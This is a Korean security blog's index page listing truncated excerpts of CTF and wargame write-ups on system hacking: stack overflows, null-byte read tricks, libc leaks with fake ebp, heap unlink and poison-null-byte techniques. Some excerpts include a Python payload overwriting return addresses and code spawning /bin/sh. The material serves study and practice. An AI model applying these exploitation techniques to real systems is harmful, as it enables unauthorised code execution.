본문 바로가기

시스템 해킹100

daRk_TempLer-read함수의 null daRk_TempLer문제는 main함수와 check함수로 이루어져 있다.main함수에서는 Input size를 입력받고, 그 인풋사이즈만큼 read함수를 이용해서 input을 buf에 입력받는다. buf의 길이는 0x40을 넘으면 안된다. check함수에서 buf는 $&;|`\\> ") s.send("1000\n") time.sleep(1) s.recv(1024) s.send("id"+"\x00"+"A"*73+"\xc0\x84\x04\x08"+"\xef\xbe\xad\xde"+"\x3f\x89\x04\x08") 2017. 12. 29.
catchme-노가다, 스택버퍼오버플로우 이 문제는 0x40080D부터 시작을 한다. 0x400D23->0x400CE50>0x400CA7->0x400C69->0x400C2B->0x400BED->0x400BAF->0x400B71->0x400B33->0x400AF5->0x400AB7->0x400A79->0x400A3B->0x4009FD->0x4009C4->0x400994를 거치면 Stage-1 clear!를 출력할 수 있다. 0x400994부분에 gets(&v1) 부분이 취약점이다. V1은 ebp-0x10에 위치하고 길이를 공격자 마음대로 줄 수 있으므로 리턴어드레스 부분을 덮을 수 있다. 처음에는 스택버퍼오버플로우를 이용하려 했지만, 스택영역에 실행권한이 주어지지 않았으므로 할 수 없었다. 0xx400984부분에 system(“/bin/sh”)를.. 2017. 12. 29.
20121209-메모리 릭, fake ebp 이 문제의 구조 1) 주소를 입력받아서, 그 주소에 담긴 값을 출력2) 0x48만큼 read함수로 입력을 받아서, strcpy진행 후 printf3) 주의사항: 0x48입력받을때 0x38부터 pop ebp위치 0x3c는 return address 1->이미 실행된 함수의 got주소를 준다(실제 함수주소가 담겨있다) => libc주소를 알 수 있다.=>system주소, /bin/sh주소 구할 수 있다 2->0x3c뒤에 main함수의 주소를 줘서 다시 메인으로 돌리며 0x48을 꽉채워서 메모리 입력을 줌=>메인으로 돌아가면서, 메모리 릭 가능여기서 릭 되는 메모리는 stack주소 물론! libc주소도 릭되지만, 1번에서 했으므로 스택주소만 이용!*1번을 이용해서 스택주소를 알아내는 방법은 생각하지 못했다. .. 2017. 12. 29.
dethstarr dethstarr dethstarr문제는 계속 입력을 받고, 지정된 값임을 확인하고 아니면 exit함수로 넘어가는 것을 반복한다. 처음에는 코드에서 하라는 대로 계속 따라갔더니 r < 2017. 3. 11.
how2heap/poison_null_byte.c #include #include #include #include #include int main(){printf("Welcome to poison null byte 2.0!\n");printf("Tested in Ubuntu 14.04 64bit.\n");printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"); uint8_t* a;uint8_t* b;uint8_t* c;uint8_t* b1;uint8_t* b2;uint8_t* d; printf("We allocate 0x100 bytes for 'a'.\n");a = (uint8_t*) malloc(0x100);pr.. 2017. 1. 1.
chal2 이휘원선배님께서 내주신 숙제힌트를 보고서야 풀 수 있었다ㅜㅜTYPE CONFUSION+OFF BY ONE 여기서, 1을 선택할 경우 (add ascii art) 이 3가지는 옵션이 된다. 3가지중 아무거나 선택 후 입력을 받게 된다. 여기서 0xF7(247)자를 읽는다. 여기서 3을 선택한 경우,id 입력 후, 4가지가 나오는데,add comment를 할 경우, comment를 입력 받는데 0xFC(252)자를 받는다. 즉, 입력을 받을 때 ascii art와 comment 2가지가 있다.이런식으로 박히는데,2가지 case가 있다 0x0804bX08부분에 박힌다.ascii art0x0804bx08: 0x49->id->0x00*3->옵션주소(옵션1: 0x08048c60, 옵션2: 0x08048b9f)->0.. 2016. 12. 31.
chal1 휘원선배님께서 내주신 과제!! 일단, gbb속에서 확인을 해봅시다0xbfffe440이 get_my_line의 인자로 들어간다.memcpy의 인자 0x0804e2c8 0xbfffe440 64 0x804e2c8에 써지기 시작합니다.,, 0x804f148에도 써지기 시작함!!!! exit: 0x804c8c8(이건 언제나 동일) 위 그림처럼 출력되는 부분을 확인해보자0 804d008 4de(1246) 1256(1주소-0주소) 1 804d4f0 461(1121) 1128(2주소-1주소) 2 804d958 3b3(947) 952 3 804dd10 2e5(741) 752 4 804e000 2c2(706) 712 5 804e2c8 12c(300) 304 6 804e3f8 2a1(673) 680 7 804e6a0 3ec.. 2016. 12. 29.
unlink #include #include #include typedef struct tagOBJ{struct tagOBJ* fd;struct tagOBJ* bk;char buf[8];}OBJ; void shell(){system("/bin/sh");}//0x080484eb void unlink(OBJ* P){OBJ* BK;OBJ* FD;BK=P->bk;FD=P->fd;FD->bk=BK;BK->fd=FD;} int main(int argc, char* argv[]){malloc(1024);OBJ* A = (OBJ*)malloc(sizeof(OBJ));OBJ* B = (OBJ*)malloc(sizeof(OBJ));OBJ* C = (OBJ*)malloc(sizeof(OBJ)); 0x804b410:A 0x804b428:.. 2016. 12. 27.
HEAP Heap Memory는 큰 메모리 블록 여러개로 이루어져 있다.각 블록은 블록의 크기와 그 밖의 사항을 설명하는 작은 헤더를 가지고 있다.힙 버퍼에서 오버플로우가 나면, 힙의 다음 블록 헤덜르 포함하는 영역을 덮어쓰게 된다.다음 블록의 헤더를 덮어 쓴 후에는 메모리에 임의의 데이터를 쓸 수 있다. 프로그램은 Heap 영역에 존재하는 데이터를 참조할 때에는 포인터 변수를 사용한다.즉 이름으로 접근하지 않고 주소로서 접근한다! Heap 은 프로그래밍에서 동적할당을 위한 공간이다.메모리 할당은 정적할당과 동적할당으로 구분할 수 있다.컴파일시 미리 크기가 정해져 들어가는 할당->정적할당프로그램 실행시 크기가 정해져 들어가는 할당->동적할당 malloc()->free() malloc함수 성공시 Heap Memor.. 2016. 12. 24.